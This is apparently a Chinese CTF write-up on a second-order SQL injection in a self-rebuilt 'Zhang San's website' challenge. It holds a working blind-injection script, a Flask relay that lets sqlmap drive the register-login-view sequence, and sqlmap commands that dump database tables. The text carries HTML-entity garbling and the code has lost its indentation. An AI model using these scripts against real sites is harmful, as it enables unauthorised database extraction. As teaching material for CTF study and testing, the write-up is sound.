flaskmysqlsql注入_SQL注入进阶Flask中转SQLMAP案例

前言

在渗透工作中我们经常能碰到一些逻辑复杂的SQL注入漏洞&＃xff0c;并不能直接通过sqlmap工具注入拿到结果。今年网鼎杯的一道SQL注入题“张三的网站”让我久久不能忘怀&＃xff0c;我不断思考遇到这类型的SQL注入除了手工注入然后编写脚本一点一点脱数据以外&＃xff0c;有没有一个比较优雅的解决方案呢&＃xff1f;

一道CTF题的思考

先来说说“张三的网站”这道题目&＃xff0c;因为我手上没有题目源码&＃xff0c;所以就根据记忆中的各个功能自己写了一个(很少写php&＃xff0c;代码很烂)&＃xff0c;相关代码已经上传到GitHub&＃xff0c;见文章底部。

该题目主要涉及3个页面&＃xff1a;

登陆页面

注册页面

登陆后的主页

题目中的登陆页面、注册页面均无SQL注入漏洞&＃xff0c;但是登陆后的主页在用户名处存在SQL注入漏洞。要利用此漏洞&＃xff0c;需要在注册页面控制用户名&＃xff0c;邮箱使用随机数生成的邮箱&＃xff0c;密码随意&＃xff0c;然后使用邮箱和注册时的密码登陆&＃xff0c;登陆成功后跳转到主页&＃xff0c;此时触发SQL注入漏洞。

注册名为“123”的用户&＃xff1a;

注册名为“123&＃39;”的用户&＃xff1a;

以下是一个Python脚本手工注入的解法&＃xff1a;

import requests

import random

import re

import string

proxy &＃61; {&＃39;http&＃39;: &＃39;127.0.0.1:8080&＃39;}

session &＃61; requests.session()

def register(username, email, password&＃61;&＃39;123&＃39;):

burp0_url &＃61; "http://192.168.154.130:80/web/register.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}

burp0_data &＃61; {"name": username, "pw": password, "repw": password, "email": email, "submit": &＃39;&＃39;}

r &＃61; session.post(burp0_url, headers&＃61;burp0_headers, data&＃61;burp0_data, proxies&＃61;proxy)

def login(email, password&＃61;&＃39;123&＃39;):

burp0_url &＃61; "http://192.168.154.130:80/web/login.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data &＃61; {"email": email, "pw": password, "submit": &＃39;&＃39;}

r1 &＃61; session.post(burp0_url, headers&＃61;burp0_headers, data&＃61;burp0_data, proxies&＃61;proxy)

# 跳转首页

burp0_url &＃61; "http://192.168.154.130/web/index.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Referer": "http://a434051f6c184741b1ede6b610a15f805a546b5b172748e9.changame.ichunqiu.com/login.php", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

r2 &＃61; session.get(burp0_url, headers&＃61;burp0_headers, proxies&＃61;proxy)

if r2.status_code &＃61;&＃61; 302:

print(&＃39;username payload no work&＃39;)

elif r2.status_code &＃61;&＃61; 200:

pattern &＃61; &＃39;&＃39;&＃39;(.&＃43;?)&＃39;&＃39;&＃39;

try:

userr &＃61; re.findall(pattern, r2.text, re.DOTALL)[0]

if userr:

return True

else:

return False

except:

return False

def main():

key &＃61; string.ascii_lowercase &＃43; string.digits &＃43; &＃39;{}_-&＃39;

flag &＃61; &＃39;&＃39;

for keynum in range(1, 43):

for s in key:

username &＃61; r"""&＃39;or(substr((select e.a from (select (select 1)a union select * from flag)e limit 2 offset 1) from {0} for 1) &＃61; &＃39;{1}&＃39;) and &＃39;1""".format(keynum, s)

email &＃61; &＃39;{}&＃64;qq.com&＃39;.format(int(random.random() * 10000000))

register(username, email)

if login(email):

flag &＃43;&＃61; s

print(&＃39;key: &＃39; &＃43; flag)

break

if __name__ &＃61;&＃61; "__main__":

main()

如果对ctf不熟悉的朋友应该会很懵&＃xff0c;因为语句中直接查询获取了flag表中的内容&＃xff0c;而正常情况下&＃xff0c;我们是不知道真正的flag在上面表&＃xff0c;这样的解法我个人觉得不具备通用性&＃xff0c;当然了在ctf比赛中是很高效的。

那么&＃xff0c;有没有可能通过sqlmap来进行注入呢&＃xff1f;显然&＃xff0c;直接使用sqlmap不进行二次开发是无法检测出注入点的&＃xff0c;因为sqlmap的注入逻辑不支持多个数据包的逻辑处理。于是我在想有无一种办法&＃xff0c;拿到sqlmap的注入检测payload&＃xff0c;然后我们通过Python编写相应的请求逻辑&＃xff0c;再把响应结果返回到sqlmap呢&＃xff1f;答案是可行的&＃xff01;

Flask中转sqlmap注入

代码实现的结构如下&＃xff0c;首先创建一个flask服务&＃xff0c;接收payload参数的值&＃xff0c;然后传入函数custom_fun中&＃xff0c;custom_fun函数由自己编写请求逻辑&＃xff0c;把payload参数的值填入到存在注入点的参数中&＃xff0c;然后发起请求&＃xff0c;把最终响应结果return就行。最后通过sqlmap检测URL&＃xff1a;http://127.0.0.1:5000/?payload&＃61;1即可&＃xff0c;可以适当调整sqlmap的注入参数&＃xff0c;比如--level、--risk、--technique等。

from flask import Flask

from flask import request

import requests

import random

def custom_fun(payload):

return &＃39;&＃39;

app &＃61; Flask(__name__)

&＃64;app.route(&＃39;/&＃39;, methods&＃61;[&＃39;GET&＃39;, &＃39;POST&＃39;])

def index():

if request.method &＃61;&＃61; &＃39;GET&＃39;:

payload &＃61; request.args.get(&＃39;payload&＃39;)

elif request.method &＃61;&＃61; &＃39;POST&＃39;:

payload &＃61; request.form.get(&＃39;payload&＃39;)

return custom_fun(payload)

def main():

app.run(host&＃61;&＃39;127.0.0.1&＃39;, debug&＃61;True)

if __name__ &＃61;&＃61; "__main__":

main()

流程示意图如下&＃xff1a;

完整注入过程

先来看看本例的实现代码&＃xff1a;

from flask import Flask

from flask import request

import requests

import random

def custom_fun(payload):

email &＃61; &＃39;{}&＃64;qq.com&＃39;.format(int(random.random() * 10000000))

username &＃61; payload

password &＃61; &＃39;123&＃39;

proxy &＃61; {&＃39;http&＃39;: &＃39;127.0.0.1:8080&＃39;}

session &＃61; requests.session()

# 注册

burp0_url &＃61; "http://192.168.154.130:80/web/register.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/register.php", "Upgrade-Insecure-Requests": "1"}

burp0_data &＃61; {"name": username, "pw": password, "repw": password, "email": email, "submit": &＃39;&＃39;}

resp &＃61; session.post(burp0_url, headers&＃61;burp0_headers, data&＃61;burp0_data, proxies&＃61;proxy)

# 登陆

burp0_url &＃61; "http://192.168.154.130:80/web/login.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.154.130", "Connection": "close", "Referer": "http://192.168.154.130/web/login.php", "Upgrade-Insecure-Requests": "1"}

burp0_data &＃61; {"email": email, "pw": password, "submit": &＃39;&＃39;}

r1 &＃61; session.post(burp0_url, headers&＃61;burp0_headers, data&＃61;burp0_data, proxies&＃61;proxy)

# 登陆后跳转到首页

burp0_url &＃61; "http://192.168.154.130/web/index.php"

burp0_headers &＃61; {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0", "Accept": "text/html,application/xhtml&＃43;xml,application/xml;q&＃61;0.9,image/webp,*/*;q&＃61;0.8", "Accept-Language": "zh-CN,zh;q&＃61;0.8,zh-TW;q&＃61;0.7,zh-HK;q&＃61;0.5,en-US;q&＃61;0.3,en;q&＃61;0.2", "Connection": "close", "Upgrade-Insecure-Requests": "1"}

resp &＃61; session.get(burp0_url, headers&＃61;burp0_headers, proxies&＃61;proxy)

resp.encoding &＃61; resp.apparent_encoding

return resp.text

app &＃61; Flask(__name__)

&＃64;app.route(&＃39;/&＃39;, methods&＃61;[&＃39;GET&＃39;, &＃39;POST&＃39;])

def index():

if request.method &＃61;&＃61; &＃39;GET&＃39;:

payload &＃61; request.args.get(&＃39;payload&＃39;)

elif request.method &＃61;&＃61; &＃39;POST&＃39;:

payload &＃61; request.form.get(&＃39;payload&＃39;)

return custom_fun(payload)

def main():

app.run(host&＃61;&＃39;127.0.0.1&＃39;, debug&＃61;True)

if __name__ &＃61;&＃61; "__main__":

main()

从代码上可以看到&＃xff0c;只需要把请求逻辑写到custom_fun函数中&＃xff0c;把最终结果的响应包return给flask&＃xff0c;剩下的就可以交给sqlmap了&＃xff0c;优雅&＃xff01;

这里说一个小技巧&＃xff0c;可以使用Burp的拓展Copy As Python-Requests来一键把burp的请求复制为Python requests请求&＃xff1a;

然后使用sqlmap测试一下&＃xff0c;因为是通过本地flask中转&＃xff0c;我们的sqlmap的target应该是本地的flask服务端口&＃xff0c;命令如下&＃xff1a;

sqlmap -u http://127.0.0.1:5000/?payload&＃61;1

检测时flask服务的输出&＃xff1a;

成功检测到注入点&＃xff1a;

当前数据库&＃xff1a;

sqlmap -u http://127.0.0.1:5000/?payload&＃61;1 --current-db

跑表名&＃xff1a;

sqlmap -u http://127.0.0.1:5000/?payload&＃61;1 -D test --tables

跑flag表数据&＃xff1a;

sqlmap -u http://127.0.0.1:5000/?payload&＃61;1 -D test -T flag --dump

小结

Flask中转sqlmap注入并非本人原创&＃xff0c;互联网上已有前辈发表过相关的案例&＃xff0c;这里以一个ctf题目作为案例&＃xff0c;来更加优雅地进行SQL注入。挖洞是不可能挖洞的&＃xff0c;这辈子都不可能挖洞的&＃xff0c;手工注入又不会&＃xff0c;只能靠sqlmap&＃xff0c;才能维持得了生活这样子...